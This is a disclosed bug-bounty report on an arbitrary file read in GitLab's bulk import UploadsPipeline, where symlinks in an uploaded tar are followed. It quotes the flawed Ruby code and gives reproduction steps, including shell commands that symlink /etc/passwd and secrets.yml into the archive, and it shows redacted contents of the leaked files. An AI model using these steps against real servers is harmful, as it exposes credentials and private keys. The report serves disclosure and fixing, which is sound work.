Arbitrary file read via the bulk imports UploadsPipeline
HackerOne report #1439593 by vakzz
on 2022-01-03:
Report | Attachments | How To Reproduce
Report
Summary
The bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.
When a group has uploads (such as markdown attachments), an uploads.tar.gz
file will be downloaded and extracted in the UploadsPipeline
:
https://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15
def extract(context)
download_service(tmp_dir, context).execute
untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)
upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))
BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)
end
Since untar_zxf
only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When load
is called, the symlinks will be followed and used as the content for the new file:
def load(context, file_path)
avatar_path = AVATAR_PATTERN.match(file_path)
return save_avatar(file_path) if avatar_path
dynamic_path = file_uploader.extract_dynamic_path(file_path)
return unless dynamic_path
return if File.directory?(file_path)
named_captures = dynamic_path.named_captures.symbolize_keys
UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute
end
This can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.
Steps to reproduce
-
Create a new group on gitlab.com
-
Create a new milestone and upload a file
passwd
with any content into the description -
Make note of the upload secret (the 32 byte hash in the path)
-
Run the following commands to make a tar file, using the hash from above
mkdir ./d3209c811fee407218bff7cb3b4333e6 ln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd ln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml tar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6
-
Save the following simple proxy server as
api.py
and run it withFLASK_APP=api flask run
, this will replace theuploads.tar.gz
with a custom one: -
Start ngrok so that it's externally accessible:
ngrok http 5000
-
Create a new access token at https://gitlab.com/-/profile/personal_access_tokens
-
Create a new group, this time choose import group
-
Enter the https ngrok url and the token you just created
-
Select the group you initially created and choose a new name
-
Once the import has complete, view the milestone and click the passwd link
-
You will see the passwd file from the gitlab server
-
Copy the link and change
passwd
tosecrets.yml
and you should be able to download the secrets file
Impact
A user with access to import a group on gitlab can read arbitrary files on the gitlab server
Examples
Example with passwd
and secrets.yml
attached:
https://gitlab.com/groups/group_to_import_1/-/milestones/1
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd
https://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml
What is the current bug behavior?
Symlinks are not removed or filtered when the UploadsPipeline
is run for the bulk imports api
What is the expected correct behavior?
Symlinks should be removed similar to the project import
Relevant logs and/or screenshots
/etc/passwd file:
root:x:0:0:root:/root:/bin/bash
[REDACTED]
/srv/gitlab/config/secrets.yml file:
production:
secret_key_base: [REDACTED]
otp_key_base: [REDACTED]
db_key_base: [REDACTED]
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
[REDACTED]
-----END RSA PRIVATE KEY-----
ci_jwt_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
[REDACTED]
-----END RSA PRIVATE KEY-----
Output of checks
This bug happens on GitLab.com
Impact
A user with access to import a group on gitlab can read arbitrary files on the gitlab server
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: